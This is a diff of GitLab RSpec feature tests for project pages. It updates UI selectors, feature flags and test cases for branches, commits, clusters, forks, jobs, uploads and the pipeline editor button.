--- a/spec/features/projects/blobs/blob_line_permalink_updater_spec.rb
+++ b/spec/features/projects/blobs/blob_line_permalink_updater_spec.rb
@@ -44,17 +44,6 @@ RSpec.describe 'Blob button line permalinks (BlobLinePermalinkUpdater)', :js do
expect(find('.js-data-file-blob-permalink-url')['href']).to eq(get_absolute_url(project_blob_path(project, tree_join(sha, path), anchor: ending_fragment)))
end
- it 'changes fragment hash if icon inside line number link is clicked' do
- ending_fragment = "L7"
-
- visit_blob
-
- find("##{ending_fragment}").hover
- find("##{ending_fragment} svg").click
-
- expect(find('.js-data-file-blob-permalink-url')['href']).to eq(get_absolute_url(project_blob_path(project, tree_join(sha, path), anchor: ending_fragment)))
- end
-
it 'with initial fragment hash, changes fragment hash if line number clicked' do
fragment = "L1"
ending_fragment = "L5"
@@ -94,17 +83,6 @@ RSpec.describe 'Blob button line permalinks (BlobLinePermalinkUpdater)', :js do
expect(find('.js-blob-blame-link')['href']).to eq(get_absolute_url(project_blame_path(project, tree_join('master', path), anchor: ending_fragment)))
end
- it 'changes fragment hash if icon inside line number link is clicked' do
- ending_fragment = "L7"
-
- visit_blob
-
- find("##{ending_fragment}").hover
- find("##{ending_fragment} svg").click
-
- expect(find('.js-blob-blame-link')['href']).to eq(get_absolute_url(project_blame_path(project, tree_join('master', path), anchor: ending_fragment)))
- end
-
it 'with initial fragment hash, changes fragment hash if line number clicked' do
fragment = "L1"
ending_fragment = "L5"
diff --git a/spec/features/projects/blobs/user_views_pipeline_editor_button_spec.rb b/spec/features/projects/blobs/user_views_pipeline_editor_button_spec.rb
new file mode 100644
index 00000000000..b872fa701c8
--- /dev/null
+++ b/spec/features/projects/blobs/user_views_pipeline_editor_button_spec.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'User views pipeline editor button on root ci config file', :js do
+ include BlobSpecHelpers
+
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project, :public, :repository) }
+
+ context "when the ci config is the root file" do
+ before do
+ project.add_developer(user)
+ sign_in(user)
+ end
+
+ it 'shows the button to the Pipeline Editor' do
+ project.update!(ci_config_path: '.my-config.yml')
+ project.repository.create_file(user, project.ci_config_path_or_default, 'test', message: 'testing', branch_name: 'master')
+ visit project_blob_path(project, File.join('master', '.my-config.yml'))
+
+ expect(page).to have_content('Pipeline Editor')
+ end
+
+ it 'does not shows the Pipeline Editor button' do
+ project.repository.create_file(user, '.my-sub-config.yml', 'test', message: 'testing', branch_name: 'master')
+ visit project_blob_path(project, File.join('master', '.my-sub-config.yml'))
+
+ expect(page).not_to have_content('Pipeline Editor')
+ end
+ end
+
+ context "when user cannot collaborate" do
+ before do
+ sign_in(user)
+ end
+ it 'does not shows the Pipeline Editor button' do
+ visit project_blob_path(project, File.join('master', '.my-config.yml'))
+ expect(page).not_to have_content('Pipeline Editor')
+ end
+ end
+end
diff --git a/spec/features/projects/branches/user_creates_branch_spec.rb b/spec/features/projects/branches/user_creates_branch_spec.rb
index 52c860bfe36..18d083f7d88 100644
--- a/spec/features/projects/branches/user_creates_branch_spec.rb
+++ b/spec/features/projects/branches/user_creates_branch_spec.rb
@@ -16,7 +16,7 @@ RSpec.describe "User creates branch", :js do
end
it "creates new branch" do
- branch_name = "deploy_keys".freeze
+ branch_name = "deploy_keys"
create_branch(branch_name)
@@ -25,7 +25,7 @@ RSpec.describe "User creates branch", :js do
context "when branch name is invalid" do
it "does not create new branch" do
- invalid_branch_name = "1.0 stable".freeze
+ invalid_branch_name = "1.0 stable"
fill_in("branch_name", with: invalid_branch_name)
page.find("body").click # defocus the branch_name input
diff --git a/spec/features/projects/branches/user_deletes_branch_spec.rb b/spec/features/projects/branches/user_deletes_branch_spec.rb
index c480c41709c..bebb4bb679b 100644
--- a/spec/features/projects/branches/user_deletes_branch_spec.rb
+++ b/spec/features/projects/branches/user_deletes_branch_spec.rb
@@ -9,12 +9,15 @@ RSpec.describe "User deletes branch", :js do
before do
project.add_developer(user)
sign_in(user)
-
- visit(project_branches_path(project))
end
it "deletes branch" do
- fill_in("branch-search", with: "improve/awesome").native.send_keys(:enter)
+ visit(project_branches_path(project))
+
+ branch_search = find('input[data-testid="branch-search"]')
+
+ branch_search.set('improve/awesome')
+ branch_search.native.send_keys(:enter)
page.within(".js-branch-improve\\/awesome") do
accept_alert { find(".btn-danger").click }
diff --git a/spec/features/projects/branches_spec.rb b/spec/features/projects/branches_spec.rb
index 4bfe8852291..f805416b03d 100644
--- a/spec/features/projects/branches_spec.rb
+++ b/spec/features/projects/branches_spec.rb
@@ -88,8 +88,10 @@ RSpec.describe 'Branches' do
it 'shows filtered branches', :js do
visit project_branches_path(project)
- fill_in 'branch-search', with: 'fix'
- find('#branch-search').native.send_keys(:enter)
+ branch_search = find('input[data-testid="branch-search"]')
+
+ branch_search.set('fix')
+ branch_search.native.send_keys(:enter)
expect(page).to have_content('fix')
expect(find('.all-branches')).to have_selector('li', count: 1)
@@ -114,20 +116,24 @@ RSpec.describe 'Branches' do
expect(page).to have_content(sorted_branches(repository, count: 20, sort_by: :updated_desc))
end
- it 'sorts the branches by name' do
+ it 'sorts the branches by name', :js do
visit project_branches_filtered_path(project, state: 'all')
click_button "Last updated" # Open sorting dropdown
- click_link "Name"
+ within '[data-testid="branches-dropdown"]' do
+ find('p', text: 'Name').click
+ end
expect(page).to have_content(sorted_branches(repository, count: 20, sort_by: :name))
end
- it 'sorts the branches by oldest updated' do
+ it 'sorts the branches by oldest updated', :js do
visit project_branches_filtered_path(project, state: 'all')
click_button "Last updated" # Open sorting dropdown
- click_link "Oldest updated"
+ within '[data-testid="branches-dropdown"]' do
+ find('p', text: 'Oldest updated').click
+ end
expect(page).to have_content(sorted_branches(repository, count: 20, sort_by: :updated_asc))
end
@@ -145,8 +151,10 @@ RSpec.describe 'Branches' do
it 'shows filtered branches', :js do
visit project_branches_filtered_path(project, state: 'all')
- fill_in 'branch-search', with: 'fix'
- find('#branch-search').native.send_keys(:enter)
+ branch_search = find('input[data-testid="branch-search"]')
+
+ branch_search.set('fix')
+ branch_search.native.send_keys(:enter)
expect(page).to have_content('fix')
expect(find('.all-branches')).to have_selector('li', count: 1)
@@ -157,9 +165,10 @@ RSpec.describe 'Branches' do
it 'removes branch after confirmation', :js do
visit project_branches_filtered_path(project, state: 'all')
- fill_in 'branch-search', with: 'fix'
+ branch_search = find('input[data-testid="branch-search"]')
- find('#branch-search').native.send_keys(:enter)
+ branch_search.set('fix')
+ branch_search.native.send_keys(:enter)
expect(page).to have_content('fix')
expect(find('.all-branches')).to have_selector('li', count: 1)
diff --git a/spec/features/projects/clusters/gcp_spec.rb b/spec/features/projects/clusters/gcp_spec.rb
index d34dde6a8f2..8c497cded8e 100644
--- a/spec/features/projects/clusters/gcp_spec.rb
+++ b/spec/features/projects/clusters/gcp_spec.rb
@@ -119,7 +119,7 @@ RSpec.describe 'Gcp Cluster', :js do
context 'when user disables the cluster' do
before do
page.find(:css, '.js-cluster-enable-toggle-area .js-project-feature-toggle').click
- page.within('.js-cluster-integration-form') { click_button 'Save changes' }
+ page.within('.js-cluster-details-form') { click_button 'Save changes' }
end
it 'user sees the successful message' do
diff --git a/spec/features/projects/clusters/user_spec.rb b/spec/features/projects/clusters/user_spec.rb
index 748eba558aa..5b60edbcf87 100644
--- a/spec/features/projects/clusters/user_spec.rb
+++ b/spec/features/projects/clusters/user_spec.rb
@@ -84,7 +84,7 @@ RSpec.describe 'User Cluster', :js do
context 'when user disables the cluster' do
before do
page.find(:css, '.js-cluster-enable-toggle-area .js-project-feature-toggle').click
- page.within('.js-cluster-integration-form') { click_button 'Save changes' }
+ page.within('.js-cluster-details-form') { click_button 'Save changes' }
end
it 'user sees the successful message' do
diff --git a/spec/features/projects/clusters_spec.rb b/spec/features/projects/clusters_spec.rb
index 6da66989b09..6b03301aa74 100644
--- a/spec/features/projects/clusters_spec.rb
+++ b/spec/features/projects/clusters_spec.rb
@@ -58,7 +58,7 @@ RSpec.describe 'Clusters', :js do
before do
click_link 'default-cluster'
fill_in 'cluster_environment_scope', with: 'production/*'
- within '.js-cluster-integration-form' do
+ within '.js-cluster-details-form' do
click_button 'Save changes'
end
end
@@ -149,7 +149,7 @@ RSpec.describe 'Clusters', :js do
before do
click_link 'default-cluster'
fill_in 'cluster_environment_scope', with: 'production/*'
- within ".js-cluster-integration-form" do
+ within ".js-cluster-details-form" do
click_button 'Save changes'
end
end
diff --git a/spec/features/projects/commit/cherry_pick_spec.rb b/spec/features/projects/commit/cherry_pick_spec.rb
index 489a90cc8fc..cd944436228 100644
--- a/spec/features/projects/commit/cherry_pick_spec.rb
+++ b/spec/features/projects/commit/cherry_pick_spec.rb
@@ -91,7 +91,7 @@ RSpec.describe 'Cherry-pick Commits', :js do
context 'when the project is archived' do
let(:project) { create(:project, :repository, :archived, namespace: user.namespace) }
- it 'does not show the cherry-pick link' do
+ it 'does not show the cherry-pick button' do
open_dropdown
expect(page).not_to have_text("Cherry-pick")
@@ -106,12 +106,15 @@ RSpec.describe 'Cherry-pick Commits', :js do
end
def open_dropdown
- find('.header-action-buttons .dropdown').click
+ find(dropdown_selector).click
end
def open_modal
open_dropdown
- find('[data-testid="cherry-pick-commit-link"]').click
+
+ page.within(dropdown_selector) do
+ click_button 'Cherry-pick'
+ end
end
def submit_cherry_pick(create_merge_request: false)
@@ -121,6 +124,10 @@ RSpec.describe 'Cherry-pick Commits', :js do
end
end
+ def dropdown_selector
+ '[data-testid="commit-options-dropdown"]'
+ end
+
def modal_selector
'[data-testid="modal-commit"]'
end
diff --git a/spec/features/projects/commit/comments/user_edits_comments_spec.rb b/spec/features/projects/commit/comments/user_edits_comments_spec.rb
index 787d8cdb02b..8ac15c9cb7f 100644
--- a/spec/features/projects/commit/comments/user_edits_comments_spec.rb
+++ b/spec/features/projects/commit/comments/user_edits_comments_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe "User edits a comment on a commit", :js do
end
it "edits comment" do
- new_comment_text = "+1 Awesome!".freeze
+ new_comment_text = "+1 Awesome!"
page.within(".main-notes-list") do
note = find(".note")
diff --git a/spec/features/projects/commit/mini_pipeline_graph_spec.rb b/spec/features/projects/commit/mini_pipeline_graph_spec.rb
index 7d206f76031..6de02556175 100644
--- a/spec/features/projects/commit/mini_pipeline_graph_spec.rb
+++ b/spec/features/projects/commit/mini_pipeline_graph_spec.rb
@@ -16,46 +16,28 @@ RSpec.describe 'Mini Pipeline Graph in Commit View', :js do
let(:build) { create(:ci_build, pipeline: pipeline, status: :running) }
- shared_examples 'shows ci icon and mini pipeline' do
- before do
- build.run
- visit project_commit_path(project, project.commit.id)
- end
-
- it 'display icon with status' do
- expect(page).to have_selector('.ci-status-icon-running')
- end
-
- it 'displays a mini pipeline graph' do
- expect(page).to have_selector('.mr-widget-pipeline-graph')
-
- first('.mini-pipeline-graph-dropdown-toggle').click
-
- wait_for_requests
-
- page.within '.js-builds-dropdown-list' do
- expect(page).to have_selector('.ci-status-icon-running')
- expect(page).to have_content(build.stage)
- end
+ before do
+ build.run
+ visit project_commit_path(project, project.commit.id)
+ end
- build.drop
- end
+ it 'display icon with status' do
+ expect(page).to have_selector('.ci-status-icon-running')
end
- context 'when ci_commit_pipeline_mini_graph_vue is disabled' do
- before do
- stub_feature_flags(ci_commit_pipeline_mini_graph_vue: false)
- end
+ it 'displays a mini pipeline graph' do
+ expect(page).to have_selector('[data-testid="pipeline-mini-graph"]')
- it_behaves_like 'shows ci icon and mini pipeline'
- end
+ first('.mini-pipeline-graph-dropdown-toggle').click
- context 'when ci_commit_pipeline_mini_graph_vue is enabled' do
- before do
- stub_feature_flags(ci_commit_pipeline_mini_graph_vue: true)
+ wait_for_requests
+
+ page.within '.js-builds-dropdown-list' do
+ expect(page).to have_selector('.ci-status-icon-running')
+ expect(page).to have_content(build.stage)
end
- it_behaves_like 'shows ci icon and mini pipeline'
+ build.drop
end
end
@@ -65,7 +47,7 @@ RSpec.describe 'Mini Pipeline Graph in Commit View', :js do
end
it 'does not display a mini pipeline graph' do
- expect(page).not_to have_selector('.mr-widget-pipeline-graph')
+ expect(page).not_to have_selector('[data-testid="pipeline-mini-graph"]')
end
end
end
diff --git a/spec/features/projects/commit/user_reverts_commit_spec.rb b/spec/features/projects/commit/user_reverts_commit_spec.rb
index 72c639a027e..ad327b86aa7 100644
--- a/spec/features/projects/commit/user_reverts_commit_spec.rb
+++ b/spec/features/projects/commit/user_reverts_commit_spec.rb
@@ -62,10 +62,10 @@ RSpec.describe 'User reverts a commit', :js do
context 'when the project is archived' do
let(:project) { create(:project, :repository, :archived, namespace: user.namespace) }
- it 'does not show the revert link' do
+ it 'does not show the revert button' do
open_dropdown
- expect(page).not_to have_link('Revert')
+ expect(page).not_to have_button('Revert')
end
end
end
@@ -75,17 +75,24 @@ RSpec.describe 'User reverts a commit', :js do
page.within(modal_selector) do
uncheck('create_merge_request') unless create_merge_request
- click_button('Revert')
+ click_button 'Revert'
end
end
def open_dropdown
- find('.header-action-buttons .dropdown').click
+ find(dropdown_selector).click
end
def open_modal
open_dropdown
- find('[data-testid="revert-commit-link"]').click
+
+ page.within(dropdown_selector) do
+ click_button 'Revert'
+ end
+ end
+
+ def dropdown_selector
+ '[data-testid="commit-options-dropdown"]'
end
def modal_selector
diff --git a/spec/features/projects/commits/user_browses_commits_spec.rb b/spec/features/projects/commits/user_browses_commits_spec.rb
index 4894e2b7f3e..76162fb800a 100644
--- a/spec/features/projects/commits/user_browses_commits_spec.rb
+++ b/spec/features/projects/commits/user_browses_commits_spec.rb
@@ -20,9 +20,14 @@ RSpec.describe 'User browses commits' do
.and have_content('Side-by-side')
end
- it 'fill commit sha when click new tag from commit page' do
+ it 'fill commit sha when click new tag from commit page', :js do
+ dropdown_selector = '[data-testid="commit-options-dropdown"]'
visit project_commit_path(project, sample_commit.id)
- click_link 'Tag'
+ find(dropdown_selector).click
+
+ page.within(dropdown_selector) do
+ click_link 'Tag'
+ end
expect(page).to have_selector("input[value='#{sample_commit.id}']", visible: false)
end
diff --git a/spec/features/projects/features_visibility_spec.rb b/spec/features/projects/features_visibility_spec.rb
index c94247f65d2..ab82a4750d3 100644
--- a/spec/features/projects/features_visibility_spec.rb
+++ b/spec/features/projects/features_visibility_spec.rb
@@ -134,7 +134,7 @@ RSpec.describe 'Edit Project Settings' do
it 'renders 200 if user is member of group' do
group = create(:group)
project.group = group
- project.save
+ project.save!
group.add_owner(member)
diff --git a/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb b/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb
index 55b9f38d8e7..b0ccb5fca94 100644
--- a/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb
+++ b/spec/features/projects/files/gitlab_ci_yml_dropdown_spec.rb
@@ -5,10 +5,14 @@ require 'spec_helper'
RSpec.describe 'Projects > Files > User wants to add a .gitlab-ci.yml file', :js do
include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+ let(:params) { {} }
+ let(:filename) { '.gitlab-ci.yml' }
+
+ let_it_be(:project) { create(:project, :repository) }
+
before do
- project = create(:project, :repository)
sign_in project.owner
- visit project_new_blob_path(project, 'master', file_name: '.gitlab-ci.yml')
+ visit project_new_blob_path(project, 'master', file_name: filename, **params)
end
it 'user can pick a template from the dropdown' do
@@ -29,4 +33,38 @@ RSpec.describe 'Projects > Files > User wants to add a .gitlab-ci.yml file', :js
expect(editor_get_value).to have_content('This file is a template, and might need editing before it works on your project')
expect(editor_get_value).to have_content('jekyll build -d test')
end
+
+ context 'when template param is provided' do
+ let(:params) { { template: 'Jekyll' } }
+
+ it 'uses the given template' do
+ wait_for_requests
+
+ expect(page).to have_css('.gitlab-ci-yml-selector .dropdown-toggle-text', text: 'Apply a template')
+ expect(editor_get_value).to have_content('This file is a template, and might need editing before it works on your project')
+ expect(editor_get_value).to have_content('jekyll build -d test')
+ end
+ end
+
+ context 'when provided template param is not a valid template name' do
+ let(:params) { { template: 'non-existing-template' } }
+
+ it 'leaves the editor empty' do
+ wait_for_requests
+
+ expect(page).to have_css('.gitlab-ci-yml-selector .dropdown-toggle-text', text: 'Apply a template')
+ expect(editor_get_value).to have_content('')
+ end
+ end
+
+ context 'when template is not available for the given file' do
+ let(:filename) { 'Dockerfile' }
+ let(:params) { { template: 'Jekyll' } }
+
+ it 'leaves the editor empty' do
+ wait_for_requests
+
+ expect(editor_get_value).to have_content('')
+ end
+ end
end
diff --git a/spec/features/projects/files/user_creates_directory_spec.rb b/spec/features/projects/files/user_creates_directory_spec.rb
index f2074c78dba..46b93d738e1 100644
--- a/spec/features/projects/files/user_creates_directory_spec.rb
+++ b/spec/features/projects/files/user_creates_directory_spec.rb
@@ -77,7 +77,7 @@ RSpec.describe 'Projects > Files > User creates a directory', :js do
it 'creates the directory in the new branch and redirect to the merge request' do
expect(page).to have_content('new-feature')
expect(page).to have_content('The directory has been successfully created')
- expect(page).to have_content('New Merge Request')
+ expect(page).to have_content('New merge request')
expect(page).to have_content('From new-feature into master')
expect(page).to have_content('Add new directory')
diff --git a/spec/features/projects/files/user_uploads_files_spec.rb b/spec/features/projects/files/user_uploads_files_spec.rb
index 944d08df3f3..54e816d3d13 100644
--- a/spec/features/projects/files/user_uploads_files_spec.rb
+++ b/spec/features/projects/files/user_uploads_files_spec.rb
@@ -3,8 +3,6 @@
require 'spec_helper'
RSpec.describe 'Projects > Files > User uploads files' do
- include DropzoneHelper
-
let(:user) { create(:user) }
let(:project) { create(:project, :repository, name: 'Shop', creator: user) }
let(:project2) { create(:project, :repository, name: 'Another Project', path: 'another-project') }
@@ -17,36 +15,17 @@ RSpec.describe 'Projects > Files > User uploads files' do
context 'when a user has write access' do
before do
visit(project_tree_path(project))
- end
-
- include_examples 'it uploads and commit a new text file'
-
- include_examples 'it uploads and commit a new image file'
- it 'uploads a file to a sub-directory', :js do
- click_link 'files'
-
- page.within('.repo-breadcrumb') do
- expect(page).to have_content('files')
- end
-
- find('.add-to-tree').click
- click_link('Upload file')
- drop_in_dropzone(File.join(Rails.root, 'spec', 'fixtures', 'doc_sample.txt'))
+ wait_for_requests
+ end
- page.within('#modal-upload-blob') do
- fill_in(:commit_message, with: 'New commit message')
- end
+ include_examples 'it uploads and commits a new text file'
- click_button('Upload file')
+ include_examples 'it uploads and commits a new image file'
- expect(page).to have_content('New commit message')
+ include_examples 'it uploads and commits a new pdf file'
- page.within('.repo-breadcrumb') do
- expect(page).to have_content('files')
- expect(page).to have_content('doc_sample.txt')
- end
- end
+ include_examples 'it uploads a file to a sub-directory'
end
context 'when a user does not have write access' do
@@ -56,6 +35,6 @@ RSpec.describe 'Projects > Files > User uploads files' do
visit(project_tree_path(project2))
end
- include_examples 'it uploads and commit a new file to a forked project'
+ include_examples 'it uploads and commits a new file to a forked project'
end
end
diff --git a/spec/features/projects/fork_spec.rb b/spec/features/projects/fork_spec.rb
index 7abbd207b24..2b7ea70fe5a 100644
--- a/spec/features/projects/fork_spec.rb
+++ b/spec/features/projects/fork_spec.rb
@@ -76,7 +76,7 @@ RSpec.describe 'Project fork' do
let(:forking_access_level) { ProjectFeature::PRIVATE }
before do
- project.update(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::INTERNAL)
end
context 'user is not a team member' do
@@ -118,6 +118,50 @@ RSpec.describe 'Project fork' do
it_behaves_like 'fork button on project page'
it_behaves_like 'create fork page', 'Fork project'
+ context 'fork form', :js do
+ let(:group) { create(:group) }
+ let(:user) { create(:group_member, :maintainer, user: create(:user), group: group ).user }
+
+ def submit_form
+ select(group.name)
+ click_button 'Fork project'
+ end
+
+ it 'forks the project', :sidekiq_might_not_need_inline do
+ visit new_project_fork_path(project)
+ submit_form
+
+ expect(page).to have_content 'Forked from'
+ end
+
+ it 'shows the new forked project on the forks page' do
+ visit new_project_fork_path(project)
+ submit_form
+ wait_for_requests
+
+ visit project_forks_path(project)
+
+ page.within('.js-projects-list-holder') do
+ expect(page).to have_content("#{group.name} / #{project.name}")
+ end
+ end
+
+ it 'shows the filled in info forked project on the forks page' do
+ fork_name = 'some-name'
+ visit new_project_fork_path(project)
+ fill_in('fork-name', with: fork_name, fill_options: { clear: :backspace })
+ fill_in('fork-slug', with: fork_name, fill_options: { clear: :backspace })
+ submit_form
+ wait_for_requests
+
+ visit project_forks_path(project)
+
+ page.within('.js-projects-list-holder') do
+ expect(page).to have_content("#{group.name} / #{fork_name}")
+ end
+ end
+ end
+
context 'with fork_project_form feature flag disabled' do
before do
stub_feature_flags(fork_project_form: false)
@@ -164,7 +208,7 @@ RSpec.describe 'Project fork' do
expect(page).to have_content(/new merge request/i)
page.within '.nav-sidebar' do
- first(:link, 'Merge Requests').click
+ first(:link, 'Merge requests').click
end
expect(page).to have_content(/new merge request/i)
diff --git a/spec/features/projects/jobs/permissions_spec.rb b/spec/features/projects/jobs/permissions_spec.rb
index e87880d74b1..140d5dee270 100644
--- a/spec/features/projects/jobs/permissions_spec.rb
+++ b/spec/features/projects/jobs/permissions_spec.rb
@@ -12,6 +12,8 @@ RSpec.describe 'Project Jobs Permissions' do
let_it_be(:job) { create(:ci_build, :running, :coverage, :trace_artifact, pipeline: pipeline) }
before do
+ stub_feature_flags(jobs_table_vue: false)
+
sign_in(user)
project.enable_ci
diff --git a/spec/features/projects/jobs/user_browses_jobs_spec.rb b/spec/features/projects/jobs/user_browses_jobs_spec.rb
index 5abebf2320e..dbcd7b5caf5 100644
--- a/spec/features/projects/jobs/user_browses_jobs_spec.rb
+++ b/spec/features/projects/jobs/user_browses_jobs_spec.rb
@@ -9,6 +9,7 @@ RSpec.describe 'User browses jobs' do
let(:user) { create(:user) }
before do
+ stub_feature_flags(jobs_table_vue: false)
project.add_maintainer(user)
project.enable_ci
project.update_attribute(:build_coverage_regex, /Coverage (\d+)%/)
@@ -24,14 +25,6 @@ RSpec.describe 'User browses jobs' do
end
end
- it 'shows the "CI Lint" button' do
- page.within('.nav-controls') do
- ci_lint_tool_link = page.find_link('CI Lint')
-
- expect(ci_lint_tool_link[:href]).to end_with(project_ci_lint_path(project))
- end
- end
-
context 'with a failed job' do
let!(:build) { create(:ci_build, :coverage, :failed, pipeline: pipeline) }
diff --git a/spec/features/projects/jobs_spec.rb b/spec/features/projects/jobs_spec.rb
index 7811394b541..18a6ad12240 100644
--- a/spec/features/projects/jobs_spec.rb
+++ b/spec/features/projects/jobs_spec.rb
@@ -20,6 +20,7 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do
end
before do
+ stub_feature_flags(jobs_table_vue: false)
project.add_role(user, user_access_level)
sign_in(user)
end
@@ -32,7 +33,7 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do
it 'shows the empty state page' do
expect(page).to have_content('Use jobs to automate your tasks')
- expect(page).to have_link('Create CI/CD configuration file', href: project.present(current_user: user).add_ci_yml_path)
+ expect(page).to have_link('Create CI/CD configuration file', href: project_ci_pipeline_editor_path(project))
end
end
@@ -1057,7 +1058,7 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do
before do
job.run!
job.cancel!
- project.update(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
+ project.update!(visibility_level: Gitlab::VisibilityLevel::PUBLIC)
sign_out(:user)
sign_in(create(:user))
diff --git a/spec/features/projects/labels/user_removes_labels_spec.rb b/spec/features/projects/labels/user_removes_labels_spec.rb
index 217f86b92cf..11d73a56965 100644
--- a/spec/features/projects/labels/user_removes_labels_spec.rb
+++ b/spec/features/projects/labels/user_removes_labels_spec.rb
@@ -18,17 +18,17 @@ RSpec.describe "User removes labels" do
visit(project_labels_path(project))
end
- it "removes label" do
+ it "removes label", :js do
page.within(".other-labels") do
page.first(".label-list-item") do
first('.js-label-options-dropdown').click
- first(".remove-row").click
+ first('.js-delete-label-modal-button').click
end
+ end
- expect(page).to have_content("#{label.title} will be permanently deleted from #{project.name}. This cannot be undone.")
+ expect(page).to have_content("#{label.title} will be permanently deleted from #{project.name}. This cannot be undone.")
- first(:link, "Delete label").click
- end
+ first(:link, "Delete label").click
expect(page).to have_content("Label was removed").and have_no_content(label.title)
end
diff --git a/spec/features/projects/members/list_spec.rb b/spec/features/projects/members/list_spec.rb
index 0830585da9b..384b8ae9929 100644
--- a/spec/features/projects/members/list_spec.rb
+++ b/spec/features/projects/members/list_spec.rb
@@ -175,7 +175,7 @@ RSpec.describe 'Project members list', :js do
click_on 'Invite members'
page.within '#invite-members-modal' do
- fill_in 'Search for members to invite', with: id
+ fill_in 'Select members or type email addresses', with: id
wait_for_requests
click_button id
diff --git a/spec/features/projects/members/user_requests_access_spec.rb b/spec/features/projects/members/user_requests_access_spec.rb
index a339130ee3c..7073741a92d 100644
--- a/spec/features/projects/members/user_requests_access_spec.rb
+++ b/spec/features/projects/members/user_requests_access_spec.rb
@@ -13,7 +13,7 @@ RSpec.describe 'Projects > Members > User requests access', :js do
end
it 'request access feature is disabled' do
- project.update(request_access_enabled: false)
+ project.update!(request_access_enabled: false)
visit project_path(project)
expect(page).not_to have_content 'Request Access'
diff --git a/spec/features/projects/merge_request_button_spec.rb b/spec/features/projects/merge_request_button_spec.rb
index 9547ba8a390..93bbabcc3f8 100644
--- a/spec/features/projects/merge_request_button_spec.rb
+++ b/spec/features/projects/merge_request_button_spec.rb
@@ -14,7 +14,9 @@ RSpec.describe 'Merge Request button' do
it 'does not show Create merge request button' do
visit url
- expect(page).not_to have_link(label)
+ within '.content-wrapper' do
+ expect(page).not_to have_link(label)
+ end
end
end
diff --git a/spec/features/projects/navbar_spec.rb b/spec/features/projects/navbar_spec.rb
index 4ff3827b240..7dc3ee63669 100644
--- a/spec/features/projects/navbar_spec.rb
+++ b/spec/features/projects/navbar_spec.rb
@@ -13,6 +13,8 @@ RSpec.describe 'Project navbar' do
before do
insert_package_nav(_('Operations'))
+ insert_infrastructure_registry_nav
+ stub_config(registry: { enabled: false })
project.add_maintainer(user)
sign_in(user)
@@ -60,7 +62,7 @@ RSpec.describe 'Project navbar' do
before do
stub_config(registry: { enabled: true })
- insert_container_nav(_('Operations'))
+ insert_container_nav
visit project_path(project)
end
diff --git a/spec/features/projects/new_project_spec.rb b/spec/features/projects/new_project_spec.rb
index ec34640bd00..7119039d5ff 100644
--- a/spec/features/projects/new_project_spec.rb
+++ b/spec/features/projects/new_project_spec.rb
@@ -12,6 +12,72 @@ RSpec.describe 'New project', :js do
sign_in(user)
end
+ context 'new repo experiment', :experiment do
+ it 'when in control renders "project"' do
+ stub_experiments(new_repo: :control)
+
+ visit new_project_path
+
+ find('li.header-new.dropdown').click
+
+ page.within('li.header-new.dropdown') do
+ expect(page).to have_selector('a', text: 'New project')
+ expect(page).to have_no_selector('a', text: 'New project/repository')
+ end
+
+ expect(page).to have_selector('.blank-state-title', text: 'Create blank project')
+ expect(page).to have_no_selector('.blank-state-title', text: 'Create blank project/repository')
+ end
+
+ it 'when in candidate renders "project/repository"' do
+ stub_experiments(new_repo: :candidate)
+
+ visit new_project_path
+
+ find('li.header-new.dropdown').click
+
+ page.within('li.header-new.dropdown') do
+ expect(page).to have_selector('a', text: 'New project/repository')
+ end
+
+ expect(page).to have_selector('.blank-state-title', text: 'Create blank project/repository')
+ end
+
+ context 'with combined_menu feature disabled' do
+ before do
+ stub_feature_flags(combined_menu: false)
+ end
+
+ it 'when in control it renders "project" in the new projects dropdown' do
+ stub_experiments(new_repo: :control)
+
+ visit new_project_path
+
+ find('#nav-projects-dropdown').click
+
+ page.within('#nav-projects-dropdown') do
+ expect(page).to have_selector('a', text: 'Create blank project')
+ expect(page).to have_selector('a', text: 'Import project')
+ expect(page).to have_no_selector('a', text: 'Create blank project/repository')
+ expect(page).to have_no_selector('a', text: 'Import project/repository')
+ end
+ end
+
+ it 'when in candidate it renders "project/repository" in the new projects dropdown' do
+ stub_experiments(new_repo: :candidate)
+
+ visit new_project_path
+
+ find('#nav-projects-dropdown').click
+
+ page.within('#nav-projects-dropdown') do
+ expect(page).to have_selector('a', text: 'Create blank project/repository')
+ expect(page).to have_selector('a', text: 'Import project/repository')
+ end
+ end
+ end
+ end
+
it 'shows a message if multiple levels are restricted' do
Gitlab::CurrentSettings.update!(
restricted_visibility_levels: [Gitlab::VisibilityLevel::PRIVATE, Gitlab::VisibilityLevel::INTERNAL]
diff --git a/spec/features/projects/pages/user_edits_settings_spec.rb b/spec/features/projects/pages/user_edits_settings_spec.rb
index 6156b5243de..412ba17cf20 100644
--- a/spec/features/projects/pages/user_edits_settings_spec.rb
+++ b/spec/features/projects/pages/user_edits_settings_spec.rb
@@ -175,7 +175,6 @@ RSpec.describe 'Pages edits pages settings', :js do
expect(page).not_to have_field(:project_pages_https_only)
expect(page).not_to have_content('Force HTTPS (requires valid certificates)')
- expect(page).to have_button('Save')
end
end
end
diff --git a/spec/features/projects/pipelines/pipeline_spec.rb b/spec/features/projects/pipelines/pipeline_spec.rb
index 94800717677..4a0581bb5cf 100644
--- a/spec/features/projects/pipelines/pipeline_spec.rb
+++ b/spec/features/projects/pipelines/pipeline_spec.rb
@@ -566,7 +566,7 @@ RSpec.describe 'Pipeline', :js do
end
before do
- pipeline.update(user: user)
+ pipeline.update!(user: user)
end
it 'shows the pipeline information' do
@@ -628,7 +628,7 @@ RSpec.describe 'Pipeline', :js do
context 'when user does not have access to read jobs' do
before do
- project.update(public_builds: false)
+ project.update!(public_builds: false)
end
describe 'GET /:project/-/pipelines/:id' do
@@ -709,9 +709,9 @@ RSpec.describe 'Pipeline', :js do
end
end
- it 'displays the PipelineSchedule in an active state' do
+ it 'displays the PipelineSchedule in an inactive state' do
visit project_pipeline_schedules_path(project)
- page.click_link('Active')
+ page.click_link('Inactive')
